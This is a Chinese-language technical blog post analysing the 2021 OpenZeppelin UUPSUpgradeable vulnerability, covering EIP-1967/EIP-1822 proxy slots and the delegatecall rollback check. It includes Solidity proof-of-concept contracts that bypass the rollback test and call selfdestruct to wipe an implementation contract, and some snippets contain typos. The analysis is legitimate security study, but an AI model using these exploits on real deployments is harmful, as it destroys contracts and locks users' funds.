UUPSUpgradeable 漏洞分析

  • bixia1994
  • 更新于 2021-09-28 12:00
  • 阅读 5376

在UUPS中,其实现了EIP-1967. EIP-1967的目的是规定一个通用的存储插槽,用于在代理合约中的特定位置存放逻辑合约的地址。

UUPSUpgradeable 漏洞分析

image.png

参考链接:UUPSUpgradeable Vulnerability Post-mortem - General / Announcements - OpenZeppelin Community

EIP-1967

在UUPS中,其实现了EIP-1967. EIP-1967的目的是规定一个通用的存储插槽,用于在代理合约中的特定位置存放逻辑合约的地址。其规定了如下特定的插槽:

=> 逻辑合约地址
bytes32(uint256(keccak256("eip1967.proxy.implementation") - 1))
更新该地址时,需要同时发出:
event Upgraded(address indexed implementation);

=> beacon地址
bytes32(uint256(keccak256("eip1967.proxy.beacon") - 1))
更新该地址时,需要发出:
event BeaconUpgraded(address indexed beacon);

=> admin 地址
bytes32(uint256(keccak256("eip1967.proxy.admin") - 1))
更新该地址时,需要发出:
event AdminChanged(address indexed previousAdmin, address newAdmin);

EIP-1967在设计如上插槽的时,特意将计算得到的地址减去1,目的是为了不能知道哈希的前像,进一步减少可能的攻击机会。

EIP-1967设计特定的插槽,而不是给定一个返回逻辑合约地址的函数,其目的在于防止函数签名攻击。函数签名攻击的思路是:由于solidity中识别一个函数,靠的是函数签名,而函数签名是函数哈希后的前4个bytes,是非常容易碰撞出来的。在一个独立的solidity文件中,编译器自己会去检查所有的external和public函数是否存在函数签名碰撞,而对于代理模式的合约文件,可能存在proxy合约中的函数签名与impl合约中的函数签名碰撞。而一旦发生这种碰撞,proxy合约中的函数就会被直接调用,而不是impl合约对应的函数。

比如EIP-897中,其规定了如下两个函数:

interface ERCProxy {
  function proxyType() public pure returns (uint256 proxyTypeId);
  function implementation() public view returns (address codeAddr);
}

作为一个实现EIP-897的代理合约,其在代理合约中会实现这两个函数。

UUPS EIP-1822

EIP-1822讨论的合约升级模式与Openzeppelin的透明合约升级模式的不同点在于:EIP-1822的代理合约只读取实现合约的地址,并将所有的方法都代理给实现合约,包括修改实现合约地址的逻辑部分也在实现合约里。而透明合约升级模式中,proxy合约管理着实现合约的地址,要实现合约升级,只需要在proxy合约中更改实现合约的地址即可。其他的逻辑代理给实现合约。

也就是说EIP-1822的实现合约既包含了普通的业务逻辑处理,更包含了自身的升级逻辑处理。简单来讲就是EIP-1822的实现合约部分,都需要继承自一个公共的可升级实现合约:proxiable.sol。在可升级的实现合约proxiable中,实现如下方法:

function proxiableUUID() public pure returns (bytes32) {
    //作用是一个flag,用来判断是否返回特定值keccak256("PROXIABLE"),以判断该合约是否是一个实现了EIP-1822的可升级实现合约
}
function updateCodeAddress(address newAddress) ineternal {
    //简单来讲就是更新实际逻辑实现合约的地址
    require(this.proxiableUUID() == Proxiable(newAddress).proxiableUUID());
    bytes32 proxiableUUID_ = this.proxiableUUID();
    assembly{
     sstore(proxiableUUID_, newAddress)
    }
}

然后在实现合约中,所有的实现合约都继承自proxiable合约,然后实现自己的逻辑即可。因为代理合约只是从插槽keccak256("PROXIABLE")处读取实现合约的地址,而实现合约可以通过proxiable中的updateCodeAddress方法来更新这个地址,从而实现代理合约中对应插槽keccak256("PROXIABLE")位置处的地址改变为目标地址。

Openzeppelin的实现

Openzeppelin中关于EIP-1822的实现与EIP-1822中的定义并不一致,主要是EIP-1822中定义的插槽位置与EIP-1967中定义的插槽位置不一致导致。openzeppelin选择使用EIP-1967中定义的插槽位置来具体实现。同时EIP-1822也有很明显的缺点,即新来的一个实现合约中只实现了proxiableUUID方法,没有实现updateCodeAddress方法,则合约就无法继续升级,导致所有的代理合约都锁死。

故openzepplin在具体实现时,其实现的具体思路为:提供一个UUPSUpgradeable合约,在该合约中提供合约升级方法:upgradeTo. 与EIP-1822的不同点在于,它取消了proxiableUUID这个flag,增加了_autorizeUpgrade方法,用于授权一个新地址。同时提供了一个upgradeToAndCall方法,用于升级后马上进行初始化操作。

function upgradeTo(address newImplementation) external virtual {
    //第一步检查msg.sender的权限
    _authorizeUpgrade(newInplementation);
    //第二步执行升级步骤
    _upgradeToAndCallSecure(newImplementaion,new bytes(0),false);
}
function upgradeToAndCall(address newImplementation, bytes memory data) external payable virtual {}
function _authorizeUpgrade(address newImplementation) internal onlyOwner() {}

其中,openzeppelin通过回滚检测,来检查是否升级成功,避免了EIP-1822中遇到的问题:

function _upgradeToAndCallSecure(address newImplementation,bytes memory data,bool forceCall) internal {
    //第一步:设置newImpl地址到实现合约地址
    address oldImplementation = _getImplementation();
    _setImplementation(newImplementation);
    //第二步:针对新的实现合约地址进行初始化
    if (data.length > 0 || forceCall) {
        Address.delegateCall(newImplementation, data);
    }
    //第三步:执行回滚检查
    // Perform rollback test if not already in progress
    StorageSlot.BooleanSlot storage rollbackTesting = StorageSlot.getBooleanSlot(_ROLLBACK_SLOT);
    //第四步:首先假设触发回滚操作,由新地址重新回滚到旧地址上,再检查升级后的旧地址是否是之前的旧地址,如果是,则说明回滚成功。如果可以回滚成功,说明升级到该新地址是安全的。
    if (!rollbackTesting.value) {
        //需要执行回滚操作
        //即将impl地址由新地址改回旧地址,通过调用新地址上的upgradeTo方法来进行
        rollbackTesting.value = true;
        Address.functionDelegateCall(newInplementation, abi.encodeWithSigature("upgradeTo(address)",oldImplementation));
        rollbackTesting.value = false;
        //检查回滚是否成功
        require(oldImplementation == _getImplementation());
        //最后设置回新地址,并打log Upgraded(address)
        _upgradeTo(newImplementation);
    }
}

Openzepplin的实现漏洞分析

在上述的Openzeppelin的实现中,其通过回滚检测避免了EIP-1822中遇到的问题:即升级到一个不满足EIP-1822规范的合约时,此时代理合约和实现合约就完全被锁死,无法继续升级。但是其又引入了一个新的问题,即:回滚操作中事实上模拟了一遍新的实现合约地址中的upgradeTo操作,并且是通过delegatecall方式来进行调用。

通过delegatecall调用新合约地址的upgradeTo方法有什么问题呢?

查看黄皮书中关于delegatecall的定义为:

Message-call into this account with an alternative accounts' code, but persisting the current values for sender and value

$$ (\sigma', g', A^+, \mathbf{o}) \equiv \begin{cases} \Theta(\boldsymbol{\sigma}, I{\mathrm{s}}, I{\mathrm{o}}, I{\mathrm{a}}, t, C{\text{\tiny CALLGAS}}(\boldsymbol{\mu}), \\quad I{\mathrm{p}}, 0, I{\mathrm{v}}, \mathbf{i}, I{\mathrm{e}} + 1, I{\mathrm{w}}) & \text{if} \quad I_{\mathrm{e}} < 1024 \ (\boldsymbol{\sigma}, g, \varnothing, ()) & \text{otherwise} \end{cases}

$$

this means that the receipient is in fact the same account as at persent, simply that the code is overwritten and the context is almost entirely identical

从黄皮书的定义来看,delegatecall事实上保存了当前账户的余额和msg.sender, 只是调用远程合约的代码,让远程合约的代码跑在当前账户的上下文环境上。

利用openzeppelin的在线代码生成,可以生成如下的代码: Contracts Wizard - OpenZeppelin Docs

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;

import "@openzeppelin/contracts-upgradeable/token/ERC20/ERC20Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol";

contract TestToken is Initializable, ERC20Upgradeable, OwnableUpgradeable, UUPSUpgradeable {
    /// @custom:oz-upgrades-unsafe-allow constructor
    // constructor() initializer {}
   //这里不应该出现constructor 的初始化,但是initializer事实上只是进行了一个判断,即该函数的调用过程是否在初始化过程中involve了,它并没有进行状态的改变。

    function initialize() initializer public {
        __ERC20_init("testToken", "MTK");
        __Ownable_init();
        __UUPSUpgradeable_init();
    }

    function mint(address to, uint256 amount) public onlyOwner {
        _mint(to, amount);
    }

    function _authorizeUpgrade(address newImplementation)
        internal
        onlyOwner
        override
    {}
}

注意这里的TestToken是UUPS升级合约的实现合约部分,而不是代理合约部分。那么应该如何去做这个TestToken的POC呢?

POC

这里不能直接在malicious合约中的upgradeTo方法中写selfdestruct,而是应该利用ForceCall部分的delegatecall,并通过写入rollbackTesting.value = true来绕过回滚检查,当这一笔交易执行结束后,合约TestToken的代码被完全清空。

pragma solidity ^0.8.0;

import "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol";

contract Exploit2 {

    function hack() public {
         bytes32  _ROLLBACK_SLOT = 0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143;
         StorageSlotUpgradeable.BooleanSlot storage rollbackTesting = StorageSlotUpgradeable.getBooleanSlot(_ROLLBACK_SLOT);
         //avoid the rollback test
         rollbackTesting.value = true;
         selfdestruct(payable(tx.origin));

    }
    function _authorizeUpgrade(address newImplementation) internal  {

    }
}

讨论

那么在openzeppelin的UUPS实现中,使用delegatecall来进行回滚测试有什么问题呢?

问题就是:

Address.functionDelegateCall(newInplementation, abi.encodeWithSigature("upgradeTo(address)",oldImplementation));

上述代码将newInplementation地址上的upgradeTo方法代码放到当前地址来执行,如果在upgradeTo方法中,放入selfdestruct这一个opcode,让合约自毁,则当前合约地址就会自毁,根本不会继续执行后面的require语句:

require(oldImplementation == _getImplementation());

故简单的POC逻辑为:

pragma solidity 0.8.0;
contract MaliciousImpl{
    function upgradeTo(address newImplementation) external  {
        selfdestruct(address(0));
    }
}

上述openzeppelin实现的代码中,最为核心的一条是理解:当delegatecall到一个selfdestruct方法后,程序所有的代码都会被直接清空,不会继续往下执行,也就不会去执行后面的require判断条件。

然而在remix中执行时,发现delegatecall之后的require语句还是执行了:

image20210928111600758.png

这是不对的,需要进一步理解黄皮书中关于selfdestruct这个opcode的定义:

selfdestruct: Halt execution and register account for later deletion
function _functionDelegateCall(address target, bytes memory data) private returns (bytes memory) {
    require(AddressUpgradeable.isContract(target), "Address: delegate call to non-contract");

    // solhint-disable-next-line avoid-low-level-calls
    (bool success, bytes memory returndata) = target.delegatecall(data);
    return AddressUpgradeable.verifyCallResult(success, returndata, "Address: low-level delegate call failed");
}

当delegatecall到一个selfdestruct的方法时,其返回值为0,然后代码继续运行。如果此笔交易在后续的执行过程中成功,则上下文地址上的代码将会被清空。如果该笔交易在后续的执行过程中失败,则整体状态会回滚。

点赞 3
收藏 2
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

1 条评论

请先 登录 后评论
bixia1994
bixia1994
0x92Fb...C666
learn to code